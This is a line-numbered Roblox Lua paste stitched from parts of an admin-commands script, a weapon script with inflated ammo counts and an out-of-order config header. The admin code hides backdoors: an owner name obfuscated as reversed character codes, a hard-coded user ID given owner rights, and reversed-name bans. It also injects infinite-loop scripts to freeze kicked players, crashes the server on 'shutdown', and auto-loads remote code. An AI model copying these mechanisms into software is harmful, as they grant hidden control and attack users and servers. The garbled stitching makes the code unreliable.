  3084. local plrz = GetPlr(plr, msg:lower():sub(6))
  3085. for i, v in pairs(plrz) do
  3086. coroutine.resume(coroutine.create(function()
  3087. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  3088. end))
  3089. end
  3090. end
  3091.  
  3092. if msg:lower():sub(1,6) == "admin " then
  3093. local plrz = GetPlr(plr, msg:lower():sub(7))
  3094. for i, v in pairs(plrz) do
  3095. coroutine.resume(coroutine.create(function()
  3096. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  3097. end))
  3098. end
  3099. end
  3100.  
  3101. if msg:lower():sub(1,8) == "unadmin " then
  3102. for i = 1, #tempadmins do
  3103. coroutine.resume(coroutine.create(function()
  3104. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  3105. end))
  3106. end
  3107. end
  3108.  
  3109. if msg:lower():sub(1,4) == "ban " then
  3110. local plrz = GetPlr(plr, msg:lower():sub(5))
  3111. for i, v in pairs(plrz) do
  3112. coroutine.resume(coroutine.create(function()
  3113. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  3114. end))
  3115. end
  3116. end
  3117.  
  3118. if msg:lower():sub(1,6) == "unban " then
  3119. for i = 1, #banland do
  3120. coroutine.resume(coroutine.create(function()
  3121. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  3122. end))
  3123. end
  3124. end
  3125.  
  3126. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  3127.  
  3128. end
  3129. end))
  3130. end
  3131.  
  3132. function AdminControl(plr)
  3133. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  3134. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  3135. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  3136. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  3137. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  3138. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  3139. end)) end
  3140. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  3141. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  3142. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  3143. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  3144. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  3145. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  3146. end
  3147.  
  3148. if not ntab then script:Destroy() end
  3149. if not bct then script:Destroy() end
  3150.  
  3151. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  3152.  
  3153. script.Name = "Kohl's Admin Commands V2"
  3154.  
  3155. if not ntab then script:Destroy() end
  3156. if not bct then script:Destroy() end
  3157. if not tcb then script:Destroy() end
  3158. game.Players.PlayerAdded:connect(AdminControl)
  3159. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  3160. end
  3161.  
  3162. local mod = game:service("InsertService"):LoadAsset(100808216)
  3163. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  3164. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  3165. newac.Disabled = true
  3166. local new = tonumber(mod:findFirstChild("Version", true).Value)
  3167. local old = 0
  3168. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  3169. if new > old then
  3170. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  3171. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  3172. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  3173. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  3174. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  3175. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  3176. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  3177. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  3178. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  3179. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  3180. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  3181. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  3182. wait()
  3183. newac.Parent = game.Workspace
  3184. newac.Disabled = false
  3185. script.Disabled = true
  3186. script:Destroy()
  3187. else
  3188. CHEESE()
  3189. end
  3190. else
  3191. CHEESE()
  3192. end
  3193. wait(0.001);
  3194.  
  3195. --------------------------------------------------------------------------------------
  3196.  
  3197. _clear=function()
  3198. local c={char;bag;gui;};
  3199. for i=1,#c do
  3200. local c=c[i]:children();
  3201. for i=1,#c do
  3202. if(c[i].Name==name)then
  3203. c[i].Parent=nil;
  3204. end;
  3205. end;
  3206. end;
  3207. local n=name..user.Name;
  3208. local c=workspace:children();
  3209. for i=1,#c do
  3210. if(c[i].Name==n)then
  3211. c[i].Parent=nil;
  3212. end;
  3213. end;
  3214. end;
  3215.  
  3216. _valid_key=function(object,key)
  3217. return object[key],key;
  3218. end;
  3219.  
  3220. _new=function(class)
  3221. return function(props)
  3222. if(type(list_base_props)=='table')then
  3223. for i,v in next,list_base_props do
  3224. if(props[i]==nil)then
  3225. props[i]=v;
  3226. end;
  3227. end;
  3228. end;
  3229.  
  3230. local object=class;
  3231.  
  3232. if(type(class)=='string')then
  3233. object=Instance.new(class:sub(1,1):upper()..class:sub(2));
  3234. end;
  3235.  
  3236. local parent=props[1];
  3237. props[1]=nil;
  3238.  
  3239. for i,v in next,props do
  3240. local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
  3241. if(not load)then
  3242. load,res,key=pcall(_valid_key,object,i);
  3243. end;
  3244.  
  3245. if(key)then
  3246. t=type(res);
  3247. s=tostring(res);
  3248. if(t=='userdata'and s=='Signal '..key)then
  3249. if(type(v)=='table')then
  3250. for i=1,#v do
  3251. res:connect(v[i]);
  3252. end;
  3253. else
  3254. res:connect(v);
  3255. end;
  3256. else
  3257. object[key]=v;
  3258. end;
  3259. end;
  3260. end;
  3261.  
  3262. if(parent)then
  3263. object.Parent=parent;
  3264. end;
  3265.  
  3266. return object;
  3267. end;
  3268. end;
  3269.  
  3270. _RGB=function(r,g,b)
  3271. return Color3.new(r/255,g/255,b/255);
  3272. end;
  3273.  
  3274. _copy=function(o)
  3275. local def=o.archivable;
  3276. o.archivable=true;
  3277. local c=o:clone();
  3278. o.archivable=def;
  3279. return c;
  3280. end;
  3281.  
  3282. _hum=function(char)
  3283. local hum=char:findFirstChild'Humanoid';
  3284. if(not hum or hum.className~='Humanoid')then
  3285. local c=char:children();
  3286. for i=1,#c do
  3287. if(c[i].className=='Humanoid')then
  3288. return c[i];
  3289. end;
  3290. end;
  3291. else
  3292. return hum;
  3293. end;
  3294. end;
  3295.  
  3296. _hum_tag=function(hum)
  3297. local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
  3298. c.Name='creator';
  3299. c.Value=user;
  3300. if(hum.Health==0 and not hum:findFirstChild'killed')then
  3301. Instance.new('BoolValue',hum).Name='killed';
  3302. bullets.clip=bullets.clip+10;
  3303. end;
  3304. end;
  3305.  
  3306. _hum_dam=function(hum,dam,percent)
  3307. hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
  3308. if(hum.Health<=hum.MaxHealth*0.1)then
  3309. _hum_tag(hum);
  3310. end;
  3311. end;
  3312.  
  3313. _ray=function(v0,v1,i)
  3314. local mag=(v0-v1).magnitude;
  3315. local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
  3316.  
  3317. return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
  3318. end;
  3319.  
  3320. _must=function(v0,v1,i)
  3321. local hit,pos=_ray(v0,v1,i);
  3322. return not hit and mouse.target or hit,pos;
  3323. end;
  3324.  
  3325. _cframe=function(x,y,z,r0,r1,r2)
  3326. return CFrame.Angles(
  3327. math.rad(r0 or 0),
  3328. math.rad(r1 or 0),
  3329. math.rad(r2 or 0)
  3330. )*CFrame.new(x,y,z);
  3331. end;
  3332.  
  3333. _update=function()
  3334. if(bool_active and not screen.Parent)then
  3335. screen.Parent=gui;
  3336. elseif(not bool_active and screen.Parent)then
  3337. screen.Parent=nil;
  3338. end;
  3339. end;
  3340.  
  3341. _light=function(v0,v1)
  3342. local mag=(v0-v1).magnitude;
  3343. local len=math.random(2,7);
  3344. len=len>mag/2 and mag/2 or len;
  3345.  
  3346. local light=_new'part'{
  3347. cFrame=CFrame.new(v0,v1);
  3348. size=Vector3.new(1,1,1);
  3349. color=_RGB(255,255,0);
  3350. anchored=true;
  3351. inv;
  3352. };
  3353. _new'blockMesh'{
  3354. scale=Vector3.new(0.2,0.2,len);
  3355. offset=Vector3.new(0,0,-len/2);
  3356. light;
  3357. };
  3358.  
  3359. local bb=_new'billboardGui'{
  3360. size=UDim2.new(2,0,2,0);
  3361. adornee=light;
  3362. light;
  3363. };
  3364. _new'imageLabel'{
  3365. image=url:format(109101526);
  3366. backgroundTransparency=1;
  3367. size=UDim2.new(1,0,1,0);
  3368. bb;
  3369. };
  3370.  
  3371. _rem(light,0.15);
  3372. end;
  3373.  
  3374. _rem=function(object,del)
  3375. if(del)then
  3376. delay(del,function()
  3377. if(object.Parent)then
  3378. object.Parent=nil;
  3379. end;
  3380. end);
  3381. else
  3382. pcall(function()
  3383. if(object.Parent)then
  3384. object.Parent=nil;
  3385. end;
  3386. end);
  3387. end;
  3388. end;
  3389.  
  3390. _blood=function(pos,count)
  3391. for i=1,count do
  3392. local p=_new'part'{
  3393. rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
  3394. position=pos+Vector3.new(math.random(),math.random(),math.random());
  3395. velocity=Vector3.new(math.random(),math.random(),math.random())*50;
  3396. size=Vector3.new(math.random(),math.random(),math.random())/3;
  3397. color=_RGB(255,0,0);
  3398. transparency=0.5;
  3399. canCollide=true;
  3400. bottomSurface=0;
  3401. topSurface=0;
  3402. formFactor=3;
  3403. locked=true;
  3404. inv;
  3405. };
  3406. delay(5,function()
  3407. p.Parent=nil;
  3408. end);
  3409. end;
  3410. end;
  3411.  
  3412. _make_hue=function()
  3413. h_hue=_new'part'{
  3414. size=Vector3.new(0.25,1.8,0.35);
  3415. color=_RGB(100,100,100);
  3416. formFactor=3;
  3417. name='hue';
  3418. handle;
  3419. };
  3420. hh_weld=_new'weld'{
  3421. c1=_cframe(0,0.5,0);
  3422. part0=handle;
  3423. part1=h_hue;
  3424. handle;
  3425. };
  3426. end;
  3427.  
  3428. _shot=function(v0,v1)
  3429. if(not time_left)then
  3430. time_left=0;
  3431. end;
  3432. if(time_left>time())then
  3433. return nil;
  3434. else
  3435. time_left=time()+math.random(1,10)/100;
  3436. end;
  3437.  
  3438. if(bullets.current<1)then
  3439. local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
  3440. soundId='rbxasset://sounds/SWITCH3.wav';
  3441. name='tick_sound';
  3442. volume=0.2;
  3443. pitch=2;
  3444. head;
  3445. };
  3446. tick_sound:play();
  3447. if(bullets.clip>0)then
  3448. time_left=time()+2;
  3449. h_hue:breakJoints();
  3450. h_hue.CanCollide=true;
  3451. h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
  3452. _rem(h_hue,10);
  3453. delay(1.9,function()
  3454. _make_hue();
  3455. local got=(bullets.clip>bullets.maximum and
  3456. bullets.maximum or
  3457. bullets.clip)-bullets.current;
  3458.  
  3459. bullets.clip=bullets.clip-got;
  3460. bullets.current=bullets.current+got;
  3461. end);
  3462. end;
  3463. return nil;
  3464. else
  3465. bullets.current=bullets.current-1;
  3466.  
  3467. h_weld.C1=_cframe(0,0.75,0,
  3468. -math.random(1000,1100)/10,180,0);
  3469. d_weld.C1=_cframe(0,-0.25,0.3);
  3470.  
  3471. lightstuff.Visible=true;
  3472. delay(0.1,function()
  3473. lightstuff.Visible=false;
  3474. end);
  3475.  
  3476. _rem(_new'part'{
  3477. velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
  3478. cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
  3479. size=Vector3.new(0.1,0.1,0.4);
  3480. color=_RGB(200,200,0);
  3481. material='Slate';
  3482. canCollide=true;
  3483. formFactor=3;
  3484. inv;
  3485. },5);
  3486. delay(0.1,function()
  3487. d_weld.C1=_cframe(0,-0.25,0);
  3488. if(bool_active)then
  3489. h_weld.C1=h_weld_cf_active;
  3490. end;
  3491. end)
  3492. end;
  3493.  
  3494. local hit,pos=_must(v0,v1,char);
  3495.  
  3496. shot_sound:play();
  3497.  
  3498. _light(v0,v1);
  3499.  
  3500. if(not hit)then return nil;end;
  3501.  
  3502. if(hit.Parent.className=='Hat')then
  3503. hit:breakJoints();
  3504. hit.CanCollide=true;
  3505. hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
  3506. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
  3507. else
  3508. local hum=_hum(hit.Parent);
  3509. if(not hum)then
  3510. if(hit.Anchored==false and hit.Size.magnitude<4)then
  3511. hit:breakJoints();
  3512. hit.CanCollide=true;
  3513. end;
  3514. else
  3515. _hum_dam(hum,math.random(4,6));
  3516. _blood(pos,math.random(3,6));
  3517. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6;
  3518. if(hit.Name=='Head')then
  3519. hum.Health=0;
  3520. _blood(pos,math.random(3,6));
  3521. delay(0.001,function()
  3522. _new(workspace:FindFirstChild'head_shot'or'sound'){
  3523. pitch=math.random(70,100)*0.01;
  3524. soundId=url:format(1876552);
  3525. name='head_shot';
  3526. workspace;
  3527. }:play();
  3528. end);
  3529. _hum_tag(hum);
  3530. _rem(_new'part'{
  3531. cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
  3532. size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
  3533. color=torso.Color;
  3534. transparency=0.5;
  3535. canCollide=false;
  3536. bottomSurface=0;
  3537. anchored=true;
  3538. formFactor=3;
  3539. topSurface=0;
  3540. inv;
  3541. },30);
  3542. hit.Parent=nil;
  3543. for b=0,1 do
  3544. for a=0,1 do
  3545. for i=0,1 do
  3546. _rem(_new'part'{
  3547. velocity=CFrame.new(v0,pos).lookVector*20;
  3548. cFrame=hit.CFrame*CFrame.new(i,-b,a);
  3549. size=Vector3.new(0.5,0.5,0.5);
  3550. color=_RGB(255,255,255);
  3551. bottomSurface=0;
  3552. canCollide=true;
  3553. transparency=0;
  3554. formFactor=3;
  3555. topSurface=0;
  3556. hum;
  3557. },30);
  3558. end;
  3559. end;
  3560. end;
  3561. end;
  3562. end;
  3563. end;
  3564. end;
  3565.  
  3566. ----------------------------------------------------------------------------------------
  3567.  
  3568. _cf_select=function(mouse)
  3569. mouse.Icon=url:format(109111387);--108999296
  3570. bool_active=true;
  3571.  
  3572. local arm=char:findFirstChild'Right Arm';
  3573. local weld=torso:findFirstChild'Right Shoulder';
  3574. if(arm and weld)then
  3575. h_weld.Part0=arm;
  3576. h_weld.C1=h_weld_cf_active;
  3577.  
  3578. weld.Part1=nil;
  3579. weld.Part0=nil;
  3580.  
  3581. weld=_new(torso:findFirstChild'right_arml'or'weld'){
  3582. name='right_arml';
  3583. part0=torso;
  3584. part1=arm;
  3585. torso;
  3586. };
  3587.  
  3588. arml=(arml or 0)+1;
  3589. local alv=arml;
  3590. local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso);
  3591. gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
  3592. gyro.P=30000;
  3593. gyro.D=1000;
  3594. gyro.Name='p_gyro';
  3595. repeat
  3596. local pos=mouse.hit.p;
  3597. local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
  3598.  
  3599. val=-math.pi*0.5;
  3600. valp=val*-1;
  3601. p0=torso.CFrame;
  3602. p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector;
  3603. p1=p0+((p0.p-pos).unit*-2);
  3604. p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
  3605. hitpos=torso.Position;
  3606. cj=CFrame.new(hitpos);
  3607. c0=torso.CFrame:inverse()*cj;
  3608. c1=p2:inverse()*cj;
  3609. weld.C0=c0;
  3610. weld.C1=c1;
  3611.  
  3612. gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
  3613.  
  3614. wait(0.001);
  3615. until arml~=alv;
  3616. gyro.Parent=nil;
  3617. end;
  3618. end;
  3619.  
  3620. _cf_deselect=function()
  3621. bool_active=false;
  3622. arml=(arml or 0)+1;
  3623. loop_shot=(loop_shot or 0)+1;
  3624.  
  3625. h_weld.Part0=torso;
  3626. h_weld.C1=h_weld_cf_inactive;
  3627.  
  3628. local weld=torso:findFirstChild'right_arml';
  3629. if(weld)then
  3630. weld.Part1=nil;
  3631. weld.Part0=nil;
  3632. end;
  3633. local arm=char:findFirstChild'Right Arm';
  3634. local weld=torso:findFirstChild'Right Shoulder';
  3635. if(arm and weld)then
  3636. weld.Part0=torso;
  3637. weld.Part1=arm;
  3638. end;
  3639. end;
  3640.  
  3641. _cf_mouse=function(event,fun)
  3642. mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
  3643. if(bool_active)then
  3644. fun(...);
  3645. end;
  3646. end);
  3647. end;
  3648.  
  3649. ----------------------------------------------------------------------------------------
  3650.  
  3651. do
  3652. local main=getfenv(0);
  3653. local c=game:children();
  3654. local check=function(v)
  3655. if(v.className~=''and v.className~='Instance'and game:service(v.className))then
  3656. main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
  3657. end;
  3658. end;
  3659. for i=1,#c do
  3660. pcall(check,c[i]);
  3661. end;
  3662. end;
  3663.  
  3664. ----------------------------------------------------------------------------------------
  3665.  
  3666. bullets={
  3667. maximum=51111111111111111111111111110;
  3668. current=511111111111111111111111111111110;
  3669. clip=501111111111111111111111111111111*4;
  3670. };
  3671.  
  3672. list_base_props={
  3673. backgroundColor3=_RGB(0,0,0);
  3674. textColor3=_RGB(200,200,200);
  3675. borderSizePixel=0;
  3676. color=_RGB(0,0,0);
  3677. archivable=false;
  3678. canCollide=false;
  3679. bottomSurface=0;
  3680. topSurface=0;
  3681. formFactor=0;
  3682. locked=true;
  3683. };
  3684.  
  3685. ----------------------------------------------------------------------------------------
  3686.  
  3687. user=players.localPlayer;
  3688. mouse=user:getMouse();
  3689. char=user.Character;
  3690. gui=user.PlayerGui;
  3691. bag=user.Backpack;
  3692. torso=char.Torso;
  3693. head=char.Head;
  3694. hum=_hum(char);
  3695.  
  3696. url='rbxassetid://%d';
  3697. name='dev-uzi';
  3698.  
  3699. h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
  3700. 0,90,-70);
  3701. h_weld_cf_active=_cframe(0,0.75,0,
  3702. -110,180,0);
  3703.  
  3704. assert(hum,'humanoid is not found');
  3705.  
  3706. ----------------------------------------------------------------------------------------
  3707.  
  3708. _clear();
  3709.  
  3710. ----------------------------------------------------------------------------------------
  3711.  
  3712. _cf_mouse('button1Down',function()
  3713. loop_shot=(loop_shot or 0)+1;
  3714. local vers=loop_shot;
  3715. local step=runService.Stepped;
  3716. repeat
  3717. _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
  3718. step:wait();--wait(0.001);
  3719. until vers~=loop_shot;
  3720. end);
  3721.  
  3722. _cf_mouse('button1Up',function()
  3723. loop_shot=(loop_shot or 0)+1;
  3724. end);
  3725.  
  3726. _cf_mouse('move',function()
  3727. cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
  3728. end);
  3729.  
  3730. _cf_mouse('keyDown',function(k)
  3731. if(k=='r')then
  3732. if(bullets.clip>0 and time_left<=time())then
  3733. local got=(bullets.clip>bullets.maximum and
  3734. bullets.maximum or
  3735. bullets.clip)-bullets.current;
  3736.  
  3737. bullets.clip=bullets.clip-got;
  3738. bullets.current=bullets.current+got;
  3739. if(got~=0)then
  3740. time_left=time()+2;
  3741. end;
  3742. end;
  3743. end;
  3744. end);
  3745.  
  3746. ----------------------------------------------------------------------------------------
  3747.  
  3748. screen=_new'screenGui'{
  3749. name=name;
  3750. };
  3751.  
  3752. cross_f=_new'frame'{
  3753. size=UDim2.new(0,21,0,21);
  3754. backgroundTransparency=1;
  3755. screen;
  3756. };
  3757.  
  3758. for i=0,1 do
  3759. _new'frame'{
  3760. position=UDim2.new(0,13*i,0,11);
  3761. size=UDim2.new(0,10,0,1);
  3762. cross_f;
  3763. };
  3764. end;
  3765.  
  3766. for i=0,1 do
  3767. _new'frame'{
  3768. position=UDim2.new(0,11,0,13*i);
  3769. size=UDim2.new(0,1,0,10);
  3770. cross_f;
  3771. };
  3772. end;
  3773.  
  3774. ----------------------------------------------------------------------------------------
  3775.  
  3776. shot_sound=_new(head:findFirstChild'2920959'or'sound'){
  3777. soundId=url:format(2920959);
  3778. pitch=1.4;
  3779. head;
  3780. };
  3781. if(shot_sound.Name~='2920959')then
  3782. shot_sound.Name='2920959';
  3783. shot_sound:play();
  3784. end;
  3785.  
  3786. bin=_new'hopperBin'{
  3787. deselected=_cf_deselect;
  3788. selected=_cf_select;
  3789. name=name;
  3790. bag;
  3791. };
  3792.  
  3793. inv=_new'model'{
  3794. name=name;
  3795. char;
  3796. };
  3797.  
  3798. handle=_new'part'{
  3799. size=Vector3.new(0.3,1.3,0.4);
  3800. color=_RGB(140,140,140);
  3801. name='handle';
  3802. formFactor=3;
  3803. inv;
  3804. touched=function(hit)
  3805. if(hit.Parent.className=='Model')then
  3806. local hum=_hum(hit.Parent);
  3807. if(hum~=nil)then
  3808. _hum_dam(hum,handle.Velocity.magnitude);
  3809. end;
  3810. end;
  3811. end;
  3812. };
  3813. h_weld=_new'weld'{
  3814. c1=h_weld_cf_inactive;
  3815. part1=handle;
  3816. part0=torso;
  3817. handle;
  3818. };
  3819. _make_hue();
  3820.  
  3821. h_part=_new'part'{
  3822. size=Vector3.new(0.4,0.4,1.4);
  3823. color=_RGB(140,140,140);
  3824. name='handle';
  3825. formFactor=3;
  3826. handle;
  3827. };
  3828. hp_weld=_new'weld'{
  3829. c1=_cframe(0,-1.3/2,-0.3,
  3830. 20,0,0);
  3831. part0=handle;
  3832. part1=h_part;
  3833. handle;
  3834. };
  3835.  
  3836. drag=_new'part'{
  3837. size=Vector3.new(0.5,0.45,1.5);
  3838. color=_RGB(100,100,100);
  3839. name='handle';
  3840. formFactor=3;
  3841. handle;
  3842. };
  3843. d_weld=_new'weld'{
  3844. c1=_cframe(0,-0.25,0);
  3845. part0=h_part;
  3846. part1=drag;
  3847. handle;
  3848. };
  3849.  
  3850. tube=_new'part'{
  3851. size=Vector3.new(0.2,0.2,1.5);
  3852. color=_RGB(0,0,0);
  3853. name='handle';
  3854. formFactor=3;
  3855. handle;
  3856. };
  3857. t_weld=_new'weld'{
  3858. c1=_cframe(0,-0.3,-0.1);
  3859. part0=h_part;
  3860. part1=tube;
  3861. handle;
  3862. };
  3863.  
  3864. bullets_label=_new'textLabel'{
  3865. textStrokeColor3=_RGB(0,0,0);
  3866. textColor3=_RGB(200,200,200);
  3867. textStrokeTransparency=0;
  3868. backgroundTransparency=1;
  3869. fontSize=5;
  3870. screen;
  3871. };
  3872.  
  3873. lightstuff=_new'frame'{
  3874. backgroundColor3=_RGB(255,255,255);
  3875. position=UDim2.new(0,0,0,-1);
  3876. backgroundTransparency=0.5;
  3877. size=UDim2.new(1,0,1,1);
  3878. borderSizePixel=0;
  3879. visible=false;
  3880. screen;
  3881. };
  3882.  
  3883. coroutine.wrap(function()
  3884. local red,white,green;
  3885. repeat
  3886. if(screen.Parent)then
  3887. if(not green and bullets.current==bullets.maximum)then
  3888. green=true;
  3889. bullets_label.TextColor3=_RGB(0,200,0);
  3890. elseif(not red and bullets.current==0)then
  3891. red=true;
  3892. bullets_label.TextColor3=_RGB(200,0,0);
  3893. elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then
  3894. bullets_label.TextColor3=_RGB(200,200,200);
  3895. green=false;
  3896. red=false;
  3897. end;
  3898. bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip);
  3899. bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y);
  3900. bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
  3901. end;
  3902. wait(0.001);
  3903. until nil;
  3904. end)();
  3905.  
  3906. ----------------------------------------------------------------------------------------
  3907.  
  3908. _G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
  3909. local vers=_G.dev_pistol_version;
  3910. repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
  3911. if(hum.Health==0)then
  3912. _clear();
  3913. end;
  3914. script.Disabled=true;
  3915.  
  3916. --mediafire-----------------------------------------------------------------------------
  3917.  
  3918.  
  3919. -----------------------------------------------------------------------------------------
  3920. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  3921. -----------------------------------------------------------------------------------------
  3922. local owners = LocalPlayer -- Are able to set admins who can ban/etc... using :pa name
  3923. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  3924. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  3925. local banland = {"MasterKhaos"} -- Permanently Bans people
  3926. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  3927. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  3928. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  3929. ---------------------
  3930. -- VIP Admin --
  3931. ---------------------
  3932. local VipAdmin = false -- If someone can have admin for owning an item
  3933. local ItemId = 0 -- The item they must own in order to have admin
  3934. ---------------------
  3935. -- Group Admin --
  3936. ---------------------
  3937. local GroupAdmin = false -- If a certain group can have admin
  3938. local GroupId = 0 -- Sets the group id that can have admin
  3939. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  3940. ---------------------
  3941. -- Tips and Tricks --
  3942. ---------------------
  3943. --[[
  3944. With this admin you can do a command on multiple people at a time;
  3945. :kill me,noob1,noob2,random,team-raiders,nonadmins
  3946.  
  3947. You can also use a variety commands for different people;
  3948. all
  3949. others
  3950. me
  3951. team-
  3952. admins
  3953. nonadmins
  3954. random
  3955. --]]
  3956. ---------------------
  3957. -- Commands --
  3958. ---------------------
  3959. --[[
